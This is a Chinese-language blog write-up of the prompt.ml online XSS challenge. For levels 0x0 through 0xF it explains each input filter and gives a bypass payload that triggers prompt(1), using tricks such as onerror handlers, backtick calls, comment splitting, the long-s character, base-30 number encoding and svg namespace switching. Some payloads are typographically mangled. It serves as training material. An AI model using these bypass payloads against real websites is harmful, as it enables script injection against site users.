线上靶机prompt.ml

使用的靶场网址:http://prompt.ml/0

0x0

在这里插入图片描述
这关没有任何的过滤,就直接闭合输出就行,但是后面多余的引号和尖括号需要注释掉。

a"><!–

在这里插入图片描述

0x1

在这里插入图片描述
这一关过滤掉了以尖括号包裹着的所有字符,所以script这种标签就用不了了。所以可以尝试使用img标签。

<img type=“image” src=1 οnerrοr=prompt(1)//

在这里插入图片描述

0x2

在这里插入图片描述
这一关将这**“[”“(”**两个符号进行了过滤,所以就没有办法使用,可以使用反引号来代替括号。

<script>eval.call`${‘prompt\u00281)’}`</script>

在这里插入图片描述

0x3

在这里插入图片描述
这一关是将注释符号给过滤成了下划线,同样也是一个小技巧,也可以使用“–!>”来进行注释。

–!><script>prompt(1)</script><!–

在这里插入图片描述

0x4

在这里插入图片描述
这一关必须以**http://prompt.ml/**为开头才可以进行输入,可以使用@符号来连接外部文档来进行绕过。注意的是,可能在写的过程中,/可能不会被识别,换成编码的形式就可以了。

http://prompt.ml%2f@localhost/test.js

在这里插入图片描述
test.js文件里面就写一个prompt(1)就可以了。

0x5

在这里插入图片描述
这一关也是将>和以on开头,=结尾的字符给换成了=号,所以利用换行就可以了。

1"type="image"src=1 onerror
=“prompt(1)”

在这里插入图片描述

0x6

在这里插入图片描述
这个例子说了,要输入一个形状向** http://httpbin.org/post#{“name”:“Matt”}的语句,并且这个#号将这一串分成了一个数组。然后这个fromURL取这个数组的第0位,然后formdata取数组的第一位;也就是说,如果输入的是 http://httpbin.org/post#{“name”:“Matt”}那么数组0就是: http://httpbin.org/post**,数组1就是:{“name”:“Matt”}。然后创建了from元素,并且将URL给了fronaction,模式写为post;然后对fromData做了循环,然后创建了一个i,并且让input.name=i,这个i就是fromdata对象里的key值,也就是name,然后给value赋值为fromData的值,也就是Matt。以上这些步骤就相当于创建了一个from表单。然后就是查看你一个表单,并且使用action,也就是如果你这个表单里不包含script或者data的话,就输出,如果有的话,就返回下面那一句话。
但是正产情况下使用javascript:prompt(1)的时候,他是可以输出的,但是在这里,他没有办法绕过那个判断;可以使用action来盖住刚刚那个action,也就是如果action的值相同的时候,后一个会把前一个给覆盖掉。所以这一关就是使用后一个action将前一个action的特性给覆盖掉。

javascript:prompt(1)#{“action”:“aaaaa”}

在这里插入图片描述

0x7

在这里插入图片描述
这一个也给你举例了一个输出的格式形如dog#cat#bird#mouse…,并且这个对每一个p标签都进行了一个字符限制,不可以超过12个字符,这样就可以使用注释的方式,将多余的内容给注释掉,剩下的就可以拼凑成想要的样子。

"><\script>/#/prompt(/#/1)/#/</script>

在这里插入图片描述
这里就相当于第一个注释符注释的是
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”
*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”*/</script>“></p>
第二个注释的内容是:
<p class=“comment” title=”“><script>/*”></p>
<p class=“comment” title=“*/prompt(/*“></p>
<p class=“comment” title=”
*/1)/*”></p>
<p class=“comment” title=“*/</script>”></p>
第三个注释的内容是:
<p class=“comment” title=“”><script>/*“></p>
<p class=“comment” title=”*/prompt(/*“></p>
<p class=“comment” title=”*/1)/*“></p>
<p class=“comment” title=”
*/</script>"></p>
最后拼成的就是:"><script>prompt(1)</script>

0x8

在这里插入图片描述
这里的\r\n的意思是换到下一行的时候从开头开始输入。
然后这一关,将这个给过滤掉为空了。并且把
<,/ 和‘"’ 给过滤掉了。这就用到了js的一个只是点:直接输入u2028和u2029

javascript字符串允许直接输入字符,以及字符的转义形式。但是javascript中有5个字符规定了不能在字符串中直接使用,只能使用他们的转义形式

  1. u005c:反斜杠
  2. u000D:回车
  3. u0028:行分隔符
  4. u0029:段分隔符
  5. u000A:换行符

所以这个输入就是这样式的:
在这里插入图片描述
将下面的复制,粘贴到答案上就可以了。
在这里插入图片描述

0x9

在这里插入图片描述
这一关是将以<开头并且后面接字母的都变成了<后面接一个下划线,并且字母全部变为大写。那就不让<后面接字母,可以使用ſ转换为s。如果出不来,换个浏览器试试。

<ſcript src=“http://127.0.0.1/test.js”></ſcript>

在这里插入图片描述

0xA

在这里插入图片描述
这一关将prompt过滤成了alert,并配还把单引号给注释掉了,这就给我们使用了一个方便,也就是我们可以使用单引号将prompt给分开,反正单引号也会被省略。

pro’mpt(1)
在这里插入图片描述

0xB

在这里插入图片描述
这一关使用了一个小技巧,

"(prompt(1))in"使用这个可以进行弹窗。

在这里插入图片描述

0xC

在这里插入图片描述
这一关也是将单引号忽略了,然后将prompt转为了alert,但是不同的是,这是先过滤,在替换;这样就不可以了。
这里就可以使用一种函数,就是相当于将英文转换为十进制树数

eval(630038579…toString(30))(1)

在这里插入图片描述

parselnt:解析一个字符串并返回指定基数的十进制整数,并且进制数的范围是2-26.

但是我们在转换prompt的时候,在26之前是没有数的,显示的都是NAN,但是在26之后就有值了;这是因为他转换是由0-9+a-z组成的,而p是字母的第16位,然后加上前面的10个字符,就等于26,所以才从第26位开始,
这里可能不好理解,就好比十六进制,他的最大的字母F,f拍在第6位,加上前面那个就是16进制
为什么这里要写30进制,因为prompt最后一个字母是t,排在字母表的第20位置,加上前面的10个数就是30;如果使用小于30的数,就不包括了t,这样就不完整了。

0xF

在这里插入图片描述
这一关同样是给了输出格式,并且限制了p标签里的字符输入最大不超过15.并且他过滤掉了上一个使用的注释符号,但是可以使用<!-- -->注释方式,但是我使用和第7个处理方式一样的方法的时候,他没有成功,各中尝试之后,还是不成功,:

"><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>

但是加一个<svg>就可以了,因为在html中有三个命名空间,分别是html、svg和MathML,这三个空间可以进行转换,因为这句话在执行刚刚那个语句的时候,他是只有第一个注释符起了作用,其余的写在script标签里面的注释符是没有生效的,切换到svg空间是因为svg的语法规范是遵循XML语句的,而XML中是支持<!-- 这样的编码,所以这是需要加入一个svg标签。

"><svg><!–#–><script><!–#–>prompt<!–#–>(1)<!–#–></script>

在这里插入图片描述
所以尝试了模板字符串的方式,结果成了

"><script>` ${prompt(1)} `</script>

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值